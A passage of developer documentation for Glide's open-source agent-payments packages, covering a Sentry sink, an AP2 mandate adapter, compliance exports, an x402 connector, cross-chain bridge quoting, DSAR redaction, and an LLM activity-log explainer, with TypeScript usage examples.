```
## Sentry sink
Optional adapter that routes signals to Sentry as messages tagged with
severity + kind. The Sentry instance is operator-supplied so the
package doesn't take a hard dependency on `@sentry/nextjs` (any object
with `captureMessage()` works — `@sentry/node`, Glitchtip, custom shims).
```ts theme={null}
import * as Sentry from '@sentry/nextjs';
import { makeSentrySink } from '@glideco/anomaly';
const sink = makeSentrySink({ Sentry, project: 'glide-prod' });
for (const signal of signals) {
const decision = suppressor.shouldPush(signal, agentId);
if (decision.pass) {
sink.emit(signal, agentId);
} else {
appendToInAppFeed(signal); // overflow goes here
}
}
```
Severity mapping:
| Anomaly severity | Sentry level |
| ---------------- | ------------ |
| `info`, `notice` | `info` |
| `warn` | `warning` |
| `critical` | `error` |
Failures emitting to Sentry never bubble — the sink swallows them so a
Sentry outage can't break the calling pipeline.
## Adding your own heuristic
Heuristics are just `(ctx) => signals[]`. Wire one for your domain:
```ts theme={null}
import { Heuristic } from '@glideco/anomaly';
interface CrossBorderFacts {
recipientCountry: string;
agentHomeCountry: string;
}
export const crossBorderHeuristic: Heuristic = (ctx) => {
if (ctx.facts.recipientCountry === ctx.facts.agentHomeCountry) {
return [];
}
return [
{
kind: 'cross-border',
severity: 'notice',
message: `Payment to ${ctx.facts.recipientCountry} (agent home: ${ctx.facts.agentHomeCountry})`,
details: ctx.facts,
timestamp: ctx.now,
},
];
};
```
## Reading list
* [Money-safety contracts](/oss/concepts/money-safety-contracts) —
the F-rules every money-touching path observes.
* [Receipt schema](/oss/standards/receipt) — what gets logged
alongside each anomaly signal.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/anomaly)
# @glideco/ap2-adapter
Source: https://glide-9da73dea.mintlify.app/oss/packages/ap2-adapter
Wire-format encoder/decoder for Google AP2 (Agent Payments Protocol) v0.1-alpha. Projects Glide grants + policy envelopes onto AP2 Verifiable Digital Credentials.
Wire-format adapter between Glide's internal grant model and the Agent Payments
Protocol (AP2), a three-mandate Verifiable Digital Credential (VDC) framework
co-authored by Google with 60+ endorsing partners including AmEx, Mastercard,
PayPal, Adyen, Coinbase, and Shopify. The three mandate types are
IntentMandate (user authorizes agent), CartMandate (agent proposes a basket),
and PaymentMandate (user instructs settlement).
This package is a wire-format adapter, not a re-implementation of the AP2 spec.
When AP2 ships v0.2 or any breaking wire change, a new minor is published,
`AP2_SPEC_VERSION` is bumped in the same PR, and the round-trip property tests
are re-run. The `@glideco/schemas` `AgentPolicyEnvelope` (14-axis) is a strict
superset of what AP2 0.1 can express; axes that have no AP2 vocabulary are
preserved under the `glide:` extension namespace.
## Install
```bash theme={null}
npm install @glideco/ap2-adapter
```
[npmjs.com/package/@glideco/ap2-adapter](https://www.npmjs.com/package/@glideco/ap2-adapter)
## Why a thin encoder rather than a native AP2 library?
Glide's `agent_grants` + `AgentPolicyEnvelope` predates AP2 and covers
counterparty allowlists, velocity multipliers, per-tx step-up thresholds, and
MCC blocklists that AP2 0.1 has no vocabulary for. Rewriting around AP2
primitives would lose that expressiveness. Instead the encoder is deliberately
lossy at the AP2 layer: standard axes map 1:1, and extended axes flow into the
`glide:policyEnvelope` extension field. A vanilla AP2 verifier validates the
core mandate; a Glide verifier round-trips losslessly.
The decoders go the other direction: when a third-party agent (Google Sidekick,
an Adyen orchestrator) presents an inbound AP2 IntentMandate, `decodeIntentMandate`
parses and validates it. Proof verification is not performed here — that is the
caller's responsibility via `@glideco/kms-signer` or a generic JWS library.
## Spec version
Pinned to AP2 **`v0.1-alpha`** — exported as `AP2_SPEC_VERSION = '0.1-alpha'`.
The AP2 JSON-LD `@context` URL is
`https://agent-payments.googleapis.com/2025/v1/credentials.jsonld`. Using a
wrong context URL means every mandate term (`allowedMerchantCategories`,
`spendingLimit`, etc.) resolves to `undefined` in a JSON-LD verifier — the
credential becomes effectively unparseable.
## API surface
| Export | Description |
| ----------------------------- | ------------------------------------------------------------------------------------------ |
| `encodeIntentMandate(args)` | Project a Glide grant + policy onto AP2 IntentMandate VDC. Proof left empty; caller signs. |
| `encodeCartMandate(args)` | Build an AP2 CartMandate VDC from line items. Enforces uniform currency. |
| `encodePaymentMandate(args)` | Build an AP2 PaymentMandate VDC for a settled cart. |
| `decodeIntentMandate(input)` | Parse + Zod-validate an inbound AP2 IntentMandate. |
| `decodeCartMandate(input)` | Parse + Zod-validate an inbound AP2 CartMandate. |
| `decodePaymentMandate(input)` | Parse + Zod-validate an inbound AP2 PaymentMandate. |
| `validateMandateChain(args)` | Cross-check intent → cart → payment id references + expiry. |
| `AP2_SPEC_VERSION` | `'0.1-alpha'` — protocol version constant. |
## Encoding a Glide grant as an IntentMandate
```ts theme={null}
import { encodeIntentMandate } from '@glideco/ap2-adapter';
const mandate = encodeIntentMandate({
grant: verifiedGrantClaims, // JWT claims from the Glide grant
policy: agentPolicyEnvelope, // current 14-axis envelope
userDid: 'did:web:glide.co:users:usr_abc',
agentDid: 'did:key:z6Mk…',
issuerDid: 'did:web:glide.co', // optional — defaults to userDid
});
// mandate.proof is empty; sign with @glideco/kms-signer before transmitting
```
The encoder picks the tightest spending cap (per-charge beats per-day beats
lifetime) for AP2's single `spendingLimit` slot and stashes the full envelope
under `glide:policyEnvelope` for lossless round-trip on Glide verifiers.
## Encoding a cart + payment mandate
```ts theme={null}
import { encodeCartMandate, encodePaymentMandate } from '@glideco/ap2-adapter';
const cart = encodeCartMandate({
cartId: simulationId,
intentMandateId: mandate.id,
agentDid: 'did:key:z6Mk…',
merchantDid: 'did:web:merchant.example.com',
lineItems: [
{ description: 'API call batch', quantity: 500, amountCents: 1, currency: 'USD' },
],
validUntil: new Date(Date.now() + 5 * 60_000).toISOString(),
});
const payment = encodePaymentMandate({
paymentId: crypto.randomUUID(),
cartMandateId: cart.id,
intentMandateId: mandate.id,
payerDid: 'did:web:glide.co:users:usr_abc',
payeeDid: 'did:web:merchant.example.com',
amountCents: 500,
currency: 'USD',
method: { type: 'crypto-x402', token: '0xRecipientAddress', network: 'base' },
expirationDate: cart.expirationDate,
rail: 'x402',
});
```
## Validating an inbound mandate chain
```ts theme={null}
import {
decodeIntentMandate,
decodeCartMandate,
validateMandateChain,
} from '@glideco/ap2-adapter';
const intent = decodeIntentMandate(rawIntentPayload); // throws on schema violation
const cart = decodeCartMandate(rawCartPayload);
const result = validateMandateChain({ intent, cart });
if (!result.ok) {
throw new Error(`Mandate chain invalid: ${result.reason}`);
}
```
## Common pitfalls
**Currency case.** AP2 0.1 requires ISO 4217 uppercase. The schemas enforce this
via regex (`/^[A-Z]{3}$/`). Lowercase `'usd'` throws at parse time.
**Amount format.** All amount fields are decimal strings — no floats, no
thousand separators, no exponential notation. The regex is
`/^-?\d+(\.\d{1,4})?$/`. Passing a JavaScript `number` throws.
**Proof block.** All three encoders return a VDC with `proof` omitted. Do not
transmit the mandate without attaching a proof — receiving verifiers will reject
unsigned credentials.
## Reading list
* [ConnectorManifest standard](/oss/standards/connector-manifest) — how
protocol capabilities are declared.
* [`@glideco/ucp-profile`](/oss/packages/ucp-profile) — discovery layer
that references AP2 mandate acceptance.
* [`@glideco/acp-merchant`](/oss/packages/acp-merchant) — commerce
protocol (ACP) that sits alongside AP2.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/ap2-adapter)
# @glideco/compliance-export
Source: https://glide-9da73dea.mintlify.app/oss/packages/compliance-export
Range validation, monthly sharding, envelope builder, S3 signed-URL refresh, and retention-tier storage adapters for agent activity-log exports.
Compliance export primitives for the Glide agent activity log. The package
covers four concerns that every compliant export pipeline shares: validating the
requested range against the OSS plan §M4 quota, splitting multi-year requests
into calendar-month shards (one DB row per shard), building the signed JSON
envelope that ships to the reviewer, and keeping S3 signed URLs from expiring
between the time a job enqueues and the time the operator's UI polls for it.
A fifth concern — retention lifecycle — is handled by three concrete S3 storage
adapters that share a `RetentionStorage` interface. These are integration primitives. The current retention-sweep cron skips enforcement; it does not invoke an archival or deletion pipeline. Operators must wire and verify their storage implementation.
The package is DB-agnostic and S3-client-agnostic. Operators wire their own
`@aws-sdk/client-s3` instance, storage bucket, and DB driver.
## Install
```bash theme={null}
npm install @glideco/compliance-export
```
[npmjs.com/package/@glideco/compliance-export](https://www.npmjs.com/package/@glideco/compliance-export)
## Why not bundle the S3 client?
Taking `@aws-sdk/client-s3` as a hard dependency would pin the major version and
add \~2 MB to every install even for operators who archive to GCS or Cloudflare
R2. The `S3SendableClient` and `S3CommandFactory` interfaces accept any object
whose `send()` method returns the expected shape — the AWS SDK satisfies them out
of the box; a GCS presigned-URL shim satisfies them with a thin adapter.
The same logic applies to the DB: export envelope rows live in `compliance_exports`
however the operator manages that table, and the package makes no assumption
about the ORM or driver.
## Range validation and monthly sharding
The OSS plan §M4 caps a single export at one year. `validateRange` enforces
this; `splitIntoMonthlyShards` produces one UTC calendar-month shard per month
in a longer range, each safe to pass as a single-shot export:
```ts theme={null}
import {
validateRange,
splitIntoMonthlyShards,
} from '@glideco/compliance-export';
import { parseISO } from 'date-fns';
const range = {
since: parseISO('2025-01-01T00:00:00Z'),
until: parseISO('2026-06-30T23:59:59Z'),
};
const v = validateRange(range);
if (v.ok) {
// Within one year — single-shot export.
await enqueueExport(range);
} else if (v.reason === 'exceeds-one-year') {
// Fragment into monthly shards (18 shards for the range above).
const shards = splitIntoMonthlyShards(range);
for (const shard of shards) {
await enqueueExport(shard);
}
return { fragmented: true, count: shards.length };
} else {
// v.reason === 'invalid-range' (since >= until) or other edge cases.
throw new Error(v.message);
}
```
The 10-exports-per-tenant-per-day quota is enforced at the tRPC router layer, not
here. `validateRange` only checks the temporal span.
## Building a JSON envelope
`buildEnvelope` assembles the signed JSON shape that ships in
`compliance.exportJson` (sync path) or inside the async PDF body. The envelope
carries the entity ID, display name, export range, and one row per activity-log
entry. Per-row fields include the on-chain tx hash (if any), risk verdict, policy
version, and `redactedFieldsBitmap` — the UI renders `[REDACTED]` for fields
whose bit is set:
```ts theme={null}
import { buildEnvelope } from '@glideco/compliance-export';
const envelope = buildEnvelope({
entityId: 'entity_gbl_0bdf3c',
entityName: 'Glide Operator Co',
range: {
since: new Date('2026-01-01T00:00:00Z'),
until: new Date('2026-01-31T23:59:59Z'),
},
rows: dbRows.map((r) => ({
id: r.id,
createdAt: r.createdAt,
action: r.action,
riskVerdict: r.riskVerdict,
vendorUsed: r.vendorUsed,
onChainTx: r.onChainTx,
policyVersion: r.policyVersion,
redactedFieldsBitmap: r.redactedFieldsBitmap,
})),
});
return Response.json(envelope);
```
Both `ComplianceExportRowSchema` and `ComplianceExportEnvelopeSchema` are
exported for callers that want to validate an envelope they received rather than
build one.
## Refreshing S3 signed URLs
Signed URLs expire. When the operator's admin UI polls a long-running export job,
the URL from the initial `PutObject` may already be stale. `refreshSignedUrl`
handles the cache-and-refresh pattern: it re-signs only when the cached URL is
absent or will expire within a configurable threshold (default: 5 minutes):
```ts theme={null}
import { GetObjectCommand, S3Client } from '@aws-sdk/client-s3';
import { getSignedUrl } from '@aws-sdk/s3-request-presigner';
import { refreshSignedUrl, type Signer } from '@glideco/compliance-export';
const s3 = new S3Client({ region: 'us-east-1' });
const signer: Signer = async ({ bucket, key, expiresInSeconds }) => {
const url = await getSignedUrl(
s3,
new GetObjectCommand({ Bucket: bucket, Key: key }),
{ expiresIn: expiresInSeconds },
);
return {
url,
expiresAt: new Date(Date.now() + expiresInSeconds * 1000),
};
};
// In the polling tRPC endpoint:
const fresh = await refreshSignedUrl({
signer,
bucket: process.env.S3_EXPORTS_BUCKET!,
key: row.s3Key,
current: row.cachedUrl
? { url: row.cachedUrl, expiresAt: row.cachedUrlExpiresAt }
: null,
});
await db
.update(complianceExports)
.set({ cachedUrl: fresh.url, cachedUrlExpiresAt: fresh.expiresAt })
.where(eq(complianceExports.id, row.id));
```
## Retention-tier storage adapters
Activity log rows age through four tiers: hot (0–7d, Postgres), warm (7–90d,
Postgres), cold (90–365d, S3), and regulatory (1–7y, S3 Deep Archive). The three
concrete adapters all implement `RetentionStorage` so the sweep cron can swap
storage class without changing the calling code:
```ts theme={null}
import {
S3StandardStorage,
S3GlacierInstantStorage,
S3GlacierDeepStorage,
} from '@glideco/compliance-export';
import {
S3Client,
PutObjectCommand,
GetObjectCommand,
} from '@aws-sdk/client-s3';
const s3 = new S3Client({ region: 'eu-west-1' });
const commands = {
put: (args) => new PutObjectCommand(args),
get: (args) => new GetObjectCommand(args),
};
// Cold tier — millisecond retrieval, lower cost than STANDARD.
const cold = new S3GlacierInstantStorage({
client: s3,
commands,
bucket: 'glide-activity-logs',
keyPrefix: 'tenants/entity_gbl_0bdf3c',
});
const archived = await cold.archive({
rowId: 'row_a1b2c3',
body: JSON.stringify(logRow),
metadata: { entityId: 'entity_gbl_0bdf3c', exportShardId: 'shard_2026_01' },
});
// archived = { key: 'tenants/entity_gbl_0bdf3c/cold/row_a1b2c3.json', bytes: 412, ... }
// Regulatory tier — minutes-to-hours retrieval; operator opts in per entity.
const regulatory = new S3GlacierDeepStorage({
client: s3,
commands,
bucket: 'glide-activity-logs-regulatory',
keyPrefix: 'tenants/entity_gbl_0bdf3c',
});
```
| Class | S3 tier | Retrieval latency | Recommended for |
| ------------------------- | -------------- | ----------------- | ---------------------------- |
| `S3StandardStorage` | `STANDARD` | milliseconds | Cold tier without Glacier |
| `S3GlacierInstantStorage` | `GLACIER_IR` | milliseconds | Cold tier default (OSS plan) |
| `S3GlacierDeepStorage` | `DEEP_ARCHIVE` | minutes–hours | Regulatory tier (1–7y) |
## Quotas summary
| Rule | Enforced by |
| ----------------------------- | ------------------------ |
| Max 10 exports per tenant/day | tRPC router layer |
| Max 1 year per export range | `validateRange` |
| Long-range fragmentation | `splitIntoMonthlyShards` |
## Reading list
* [`@glideco/agent-events`](/oss/packages/agent-events) — the event-type
schemas that populate the rows this package exports.
* [`@glideco/dsar`](/oss/packages/dsar) — sets `redactedFieldsBitmap`
on rows; the envelope builder surfaces those bits to the reviewer.
* [Receipt schema](https://glide.co/schemas/agent-banking/v1/receipt.json) —
the on-chain receipt shape referenced in `onChainTx` envelope fields.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/compliance-export)
# @repo/connectors-coinbase-x402
Source: https://glide-9da73dea.mintlify.app/oss/packages/connectors-coinbase-x402
x402 receiver helpers + Coinbase CDP facilitator client. Drives the verify+settle flow for any RFC-compatible facilitator. F1 IRON RULE: txHash is the facilitator's claim, not verified fact.
x402 payment protocol adapter with two surfaces. The receiver helpers build the
HTTP 402 challenge body, decode the `X-PAYMENT` request header, and drive the
full verify-then-settle flow against any RFC-compatible facilitator. The
facilitator client (`CoinbaseFacilitator`) talks to the Coinbase Developer
Platform's hosted x402 facilitator, or any self-hosted alternative that speaks
the same `/verify` + `/settle` JSON-RPC.
This package supports x402 endpoints for configured agent vaults. It does not provision a treasury vault or x402 endpoint when someone opens a personal account. The matching MCP tools
(`x402.pay`, `x402.receive`) in `apps/mcp` consume this package's primitives.
**F1 IRON RULE:** `SettleResponse.transaction` (the facilitator's returned tx
hash) is the facilitator's claim, not an independently verified on-chain fact.
Operators MUST perform a server-side RPC verification before persisting the hash
to any audit row. This package exposes the facilitator's response verbatim and
leaves RPC verification to the consumer. The reference implementation is
`serverFetchChainTx` in the MCP `x402.pay` tool.
## Install
This package is workspace-internal (`@repo/connectors-coinbase-x402`). For
standalone use, publish it under `@glideco/connector-coinbase-x402` using the
connector publish script:
```bash theme={null}
node scripts/publish-glide-connector.mjs coinbase-x402
```
## Receiver flow (Next.js route handler)
The canonical pattern for exposing a Glide account as an x402 endpoint:
```ts theme={null}
// apps/web/src/app/api/x402/[accountId]/route.ts
import {
CoinbaseFacilitator,
buildChallengeBody,
handleX402Request,
type PaymentRequirements,
} from '@repo/connectors-coinbase-x402';
export async function POST(req: Request, { params }: { params: Promise<{ accountId: string }> }) {
const { accountId } = await params;
const requirements: PaymentRequirements = {
scheme: 'exact',
network: 'base',
maxAmountRequired: '1000000', // 1 USDC (6 decimals)
resource: req.url,
description: 'Pay to unlock resource',
mimeType: 'application/json',
payTo: process.env.X402_DEFAULT_RECEIVE_ADDRESS!,
maxTimeoutSeconds: 60,
asset: '0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913', // USDC on Base
};
const facilitator = new CoinbaseFacilitator({
bearerToken: process.env.CDP_API_KEY_SECRET,
});
const result = await handleX402Request({
xPaymentHeader: req.headers.get('x-payment'),
accepts: [requirements],
facilitator,
});
if (result.kind === 'challenge') {
return new Response(JSON.stringify(result.body), { status: 402 });
}
// F1: independently verify the on-chain tx before writing any audit row
await rpcVerify(result.settle.transaction, requirements);
return Response.json({ ok: true, tx: result.settle.transaction });
}
```
## ReceiverOutcome decision tree
`handleX402Request` returns a discriminated union:
```ts theme={null}
type ReceiverOutcome =
| {
kind: 'challenge';
body: X402ChallengeBody;
reason: 'no_header' | 'header_decode' | 'verify_failed' | 'settle_failed';
detail?: string;
}
| {
kind: 'settled';
settle: SettleResponse;
};
```
All failure cases return `kind: 'challenge'` with the appropriate `reason` and
a `detail` string for logging. The caller emits a 402 with `body` as the JSON
payload in all challenge cases.
## Building a challenge manually
If you need to issue a 402 without driving a full payment flow:
```ts theme={null}
import { buildChallengeBody, encodeXPaymentHeader } from '@repo/connectors-coinbase-x402';
// 402 response body
const challengeBody = buildChallengeBody({
accepts: [requirements],
error: 'Previous payment verification failed',
});
// Encode a PaymentPayload into the X-PAYMENT header (client side)
const xPaymentHeader = encodeXPaymentHeader({
x402Version: 1,
scheme: 'exact',
network: 'base',
payload: { signature: '0x…', authorization: { from, to, value, validAfter, validBefore, nonce } },
});
```
## Self-hosted facilitator
To run without a Coinbase dependency, point the client at any
RFC-compatible facilitator:
```bash theme={null}
X402_FACILITATOR_URL=https://my-facilitator.example.com
```
`CoinbaseFacilitator` calls the same `/verify` + `/settle` JSON-RPC contract
against that base URL. The Glide-compliant facilitator (with Chainalysis
screening) is in `@glideco/x402-facilitator`.
## Egress surface
Declared in the connector manifest (enforced by the egress-host CI gate):
| Host | Purpose |
| ---------------------- | ------------------------------------------- |
| `api.cdp.coinbase.com` | Coinbase Developer Platform auth + key APIs |
| `x402.coinbase.com` | Coinbase-hosted x402 facilitator |
| `facilitator.x402.io` | Fallback / community-hosted facilitator |
No other host is reachable at runtime. A CI gate on egress hosts enforces this.
## Supported networks
The `PaymentRequirements.network` field accepts the x402 network enum:
`base`, `base-sepolia`, `polygon`, `polygon-amoy`, `solana`, `solana-devnet`,
`avalanche`, `abstract`, `sei`, and several others. See
`PaymentRequirementsSchema` in `src/protocol.ts` for the full list.
For EVM networks the payload uses EIP-712 `transferWithAuthorization`; for
Solana the payload is a signed transaction blob. Both shapes are handled by the
same `decodeXPaymentHeader` parser.
## Reading list
* [Money-safety contracts](/oss/concepts/money-safety-contracts) — F1
server-side RPC verification requirement.
* [`@glideco/x402-facilitator`](/oss/packages/x402-facilitator) — the
Chainalysis-baked facilitator this connector can delegate to.
* [ConnectorManifest standard](/oss/standards/connector-manifest) — how
the egress-host contract is declared.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/connectors/coinbase-x402)
# @glideco/crosschain-bridge
Source: https://glide-9da73dea.mintlify.app/oss/packages/crosschain-bridge
Quote + dispatch shape layer for Squid Router and Across Protocol. Bridge route classification, quote aggregation, glide-internal fast path.
Shape layer for cross-chain bridge operations: quote request/response types, bridge-route classification, and multi-quote aggregation. Adapts Squid Router (Axelar-backed, wide chain coverage) and Across Protocol (UMA optimistic-oracle, fastest for EVM-to-EVM pairs). Includes `glide-internal` — the same-tenant vault hop that is free and instant.
Pure functions, no IO. Actual SDK calls live in `apps/web`.
## Install
```bash theme={null}
npm install @glideco/crosschain-bridge
```
[npmjs.com/package/@glideco/crosschain-bridge](https://www.npmjs.com/package/@glideco/crosschain-bridge)
## Why two adapters
Across Protocol is cheaper and faster on the EVM-to-EVM common case. Squid covers the rest: EVM ↔ Solana, EVM ↔ Stellar, EVM ↔ Cosmos, and Solana ↔ Stellar. By classifying the chain pair first and only quoting the applicable adapter, the smart-router avoids sending a cross-chain quote to Across for a Base → Solana transfer where Across has no coverage.
`glide-internal` appears in the bridge ID set so the smart-router can include same-tenant vault hops in candidate scoring without special-casing. A same-chain pair resolves to `['glide-internal']` — no bridge call needed.
## Bridge route classification
```ts theme={null}
import { routeCandidates, isBridgeable } from '@glideco/crosschain-bridge';
routeCandidates('base', 'arb'); // ['across', 'squid'] — EVM↔EVM, Across preferred
routeCandidates('base', 'sol'); // ['squid'] — Squid only
routeCandidates('sol', 'stellar'); // ['squid'] — Squid only
routeCandidates('eth', 'eth'); // ['glide-internal'] — same-chain
isBridgeable('base', 'sol'); // true
isBridgeable('sol', 'tempo'); // false — tempo not in Squid's chain set
```
The Across-eligible chains are `eth`, `base`, `arb`, `op`, `polygon`. Squid additionally covers `sol`, `tempo`, `stellar`.
## Quoting
```ts theme={null}
import type { BridgeQuoteRequest } from '@glideco/crosschain-bridge';
const req: BridgeQuoteRequest = {
fromChain: 'base',
toChain: 'arb',
fromToken: 'USDC',
amountIn: '100000000', // 100 USDC in 6-decimal units
fromAddress: '0xSENDER',
toAddress: '0xRECIPIENT',
slippageBps: 50, // 0.5%
bridges: ['across'], // restrict to one adapter
};
// Quote the adapter in apps/web; the result shape is:
// {
// bridge: 'across',
// fromChain: 'base', toChain: 'arb',
// fromToken: 'USDC', toToken: 'USDC',
// amountIn: '100000000', amountOutMin: '99940000',
// bridgeFee: '60000',
// etaSeconds: 8,
// routePayload: { ... }, // opaque, passed to dispatch
// expiresAt: '2026-04-30T14:22:30Z',
// }
```
## Quote aggregation
```ts theme={null}
import { aggregateQuotes } from '@glideco/crosschain-bridge';
// Combine quotes from both adapters; pick the cheapest fresh one.
const { best, all, expired } = aggregateQuotes([squidQuote, acrossQuote]);
// best.bridge → 'across' (lower bridgeFee)
// expired → quotes past their expiresAt
```
`aggregateQuotes` sorts by `bridgeFee` ASC using `BigInt` comparison (avoids IEEE-754 precision loss on large token amounts), with `etaSeconds` as a tiebreaker. It throws when all quotes are stale — the caller must re-quote rather than dispatch a stale route payload.
## Dispatch
After picking a quote, wrap it in a `BridgeDispatchRequest` with the idempotency key and Glide audit fields before passing it to the adapter in `apps/web`:
```ts theme={null}
import type { BridgeDispatchRequest } from '@glideco/crosschain-bridge';
const dispatch: BridgeDispatchRequest = {
quote: best,
idempotencyKey: 'pay_2026_04_30_invoice_099',
grantId: 'd4e5f6a7-b8c9-0123-abcd-ef1234567890',
correlationId: 'mcp_audit_9a8b7c6d',
};
// apps/web routes to squid-sdk or across-sdk based on dispatch.quote.bridge
```
The dispatch result carries `status: 'pending' | 'in_flight' | 'completed' | 'failed' | 'refunded'` and optional `fromTxHash` / `toTxHash`. The `crypto-send-discover-destination` Inngest function in `apps/web` polls for `toTxHash` on cross-chain rows until the destination settles or the 24h ageout fires.
## Reading list
* [`@glideco/smart-router`](/oss/packages/smart-router) — consumes bridge quotes as `RouteCandidate[]` entries for fee comparison against direct rails.
* [Wallet-side send design](https://github.com/glide-co/glide-mono/blob/main/docs/designs/cross-chain-send/v0.7.0.0.md) — how Particle UA and CCTP v1/v2 + Wormhole bridge addresses fit into the confirmation pipeline.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/crosschain-bridge)
# @glideco/dsar
Source: https://glide-9da73dea.mintlify.app/oss/packages/dsar
DSAR redaction primitives for the Glide agent activity log. Bitmap-encoded partial redaction and full-erasure tombstone, append-only-safe.
DSAR (Data Subject Access Request) redaction primitives for the Glide agent
activity log. The package handles two operations: `redact()`, which ORs new bits
into a row's `redacted_fields_bitmap` for a named set of fields, and `tombstone()`,
which sets every redactable bit — leaving the row structurally intact for audit
integrity while marking all PII fields as erased.
Both operations obey the F4 IRON RULE (append-only audit): the underlying
`activity_log` table carries a Postgres trigger that rejects `UPDATE`/`DELETE`/
`TRUNCATE` unless the current session has set `app.dsar_context_id`. This package
sets that session variable before every write, then appends a companion audit row
to record who redacted what and why.
The package is DB-agnostic. Operators pass in an `executor` that wires their own
DB driver (Drizzle, raw `pg`, Knex, Prisma) without coupling this package to any
ORM.
## Install
```bash theme={null}
npm install @glideco/dsar
```
[npmjs.com/package/@glideco/dsar](https://www.npmjs.com/package/@glideco/dsar)
## Why a bitmap?
A single 32-bit integer stores the redaction state for all 8 v1 fields in one
column with no schema change. The bitmap is additive — bits only ever get set,
never cleared — which is consistent with the append-only audit posture: a
subsequent redaction OR-merges into the existing bitmap rather than replacing it.
Field positions are stable v1. Adding a new redactable field takes an unused bit
position (8–31); repositioning or removing an existing field is a major-version
bump.
## v1 field positions
| Bit | Field |
| --- | --------------- |
| 0 | `input_digest` |
| 1 | `output_digest` |
| 2 | `on_chain_tx` |
| 3 | `counterparty` |
| 4 | `amount` |
| 5 | `vendor_used` |
| 6 | `grant_id` |
| 7 | `step_up_sigil` |
## Wiring the executor
Operators implement the `DsarExecutor` interface over their DB driver. The four
methods map to: set a Postgres session variable, write the bitmap, read the
current bitmap, and append an audit row. All four must run inside the same
transaction:
```ts theme={null}
import { redact, type DsarExecutor } from '@glideco/dsar';
import { db, activityLog } from '../db';
import { eq, sql } from 'drizzle-orm';
const executor: DsarExecutor = {
async setSessionVar(name, value) {
await db.execute(sql`SELECT set_config(${name}, ${value}, true)`);
},
async setBitmap(rowId, bitmap) {
await db
.update(activityLog)
.set({ redactedFieldsBitmap: bitmap })
.where(eq(activityLog.id, rowId));
},
async getBitmap(rowId) {
const [row] = await db
.select({ redactedFieldsBitmap: activityLog.redactedFieldsBitmap })
.from(activityLog)
.where(eq(activityLog.id, rowId))
.limit(1);
return row?.redactedFieldsBitmap ?? null;
},
async appendAuditRow(audit) {
await db.insert(activityLog).values({
action: audit.action,
details: audit.details,
});
},
};
```
## Partial redaction
`redact()` applies a named-field redaction. The new bitmap is the OR of the
existing bitmap and the bits for the listed fields, so a second call for
different fields accumulates rather than replaces:
```ts theme={null}
import { redact } from '@glideco/dsar';
await db.transaction(async () => {
const result = await redact(executor, {
rowId: 'row_7f3a1b',
fields: ['amount', 'counterparty'],
reason: 'GDPR right-to-erasure request from alice@example.com (ticket DPO-2026-0041)',
actorUserId: 'admin_dpo_xyz',
});
// result = { ok: true, newBitmap: 0b00011000 } (bits 3 + 4)
});
```
The `reason` field requires at least 10 characters and accepts up to 500. Short
reasons fail `RedactInputSchema.parse` before the first DB call, so there's no
risk of a zero-context audit row.
## Full erasure (tombstone)
`tombstone()` sets `ALL_FIELDS_BITMAP` (all 8 bits, value `0xFF`) in a single
write. Use this when the right-to-erasure covers the entire row rather than
specific fields:
```ts theme={null}
import { tombstone } from '@glideco/dsar';
await db.transaction(async () => {
await tombstone(executor, {
rowId: 'row_7f3a1b',
reason: 'Account closure request — full erasure per DPO sign-off on DPO-2026-0041',
actorUserId: 'admin_dpo_xyz',
});
// The row still exists; every field renders as [REDACTED] in the UI.
});
```
The row is preserved for audit-log structural integrity (F4). Its `eventType`,
`createdAt`, and `entityId` are non-redactable by design — a compliance auditor
needs to confirm "a tool\_call occurred at time T for entity E" even after full
erasure.
## Bitmap utilities
The package exports the bitmap helpers for callers that need to inspect redaction
state independently of the write operations:
```ts theme={null}
import {
fieldsToBitmap,
isFieldRedacted,
bitmapToFields,
ALL_FIELDS_BITMAP,
REDACTABLE_FIELDS,
} from '@glideco/dsar';
// Which bits correspond to ['amount', 'counterparty']?
const bits = fieldsToBitmap(['amount', 'counterparty']); // 0b00011000 = 24
// Is 'counterparty' redacted in a stored row?
const redacted = isFieldRedacted(row.redactedFieldsBitmap, 'counterparty');
// Enumerate all redacted fields for a given bitmap:
const fields = bitmapToFields(0b10101010);
// ['output_digest', 'counterparty', 'vendor_used', 'step_up_sigil']
```
## Append-only trigger contract
The `activity_log` trigger rejects `UPDATE`/`DELETE`/`TRUNCATE` unless
`app.dsar_context_id` is set in the current Postgres session. When set, only
`UPDATE` on `redacted_fields_bitmap` is allowed — no other column. This package
calls `setSessionVar('app.dsar_context_id', actorUserId)` before every write,
which unblocks the trigger for that transaction only (`set_config(..., true)`
scopes the variable to the transaction).
A reference trigger definition is in
[`apps/web/drizzle/0042_activity_log_agent_cols.sql`](https://github.com/darshanbathija/axtior-neobank/blob/main/apps/web/drizzle/0042_activity_log_agent_cols.sql).
Self-hosters who implement their own trigger must honor the same contract for the
executor to work correctly.
## Reading list
* [`@glideco/agent-events`](/oss/packages/agent-events) — defines
`dsar_redaction_applied` and `dsar_tombstone_applied` event schemas that
this package appends as audit rows.
* [`@glideco/compliance-export`](/oss/packages/compliance-export) —
surfaces `redactedFieldsBitmap` in the export envelope; reviewers see
`[REDACTED]` for set bits.
* [Money-safety contracts](/oss/concepts/money-safety-contracts) —
F4 (append-only audit) is the contract this package enforces at the DB layer.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/dsar)
# @glideco/explainer
Source: https://glide-9da73dea.mintlify.app/oss/packages/explainer
LLM narrator for activity_log rows. Schema-bound I/O contract. Ships feature-flagged off until n≥500 golden-set eval green.
LLM narrator that turns structured `activity_log` rows into plain-English
summaries for finance + compliance reviewers. Per the OSS plan §M4:
**ships feature-flagged off** until the operator runs an n≥500 golden-set
eval with Wilson 95% upper bound ≤ 1% misrepresent rate.
## Install
```bash theme={null}
npm install @glideco/explainer
```
[npmjs.com/package/@glideco/explainer](https://www.npmjs.com/package/@glideco/explainer)
## Why feature-flagged
Activity feed narratives go to compliance reviewers who'll act on what
they read. An LLM that misrepresents a single risk verdict — calls a
'flag' a 'pass' or vice versa — burns trust in the entire system. The
golden-set eval gate makes the package hard to enable carelessly:
> n ≥ 500 labeled examples · Wilson 95% upper bound on misrepresent rate ≤ 1%
Until your eval harness clears, operators get the structured-chips view
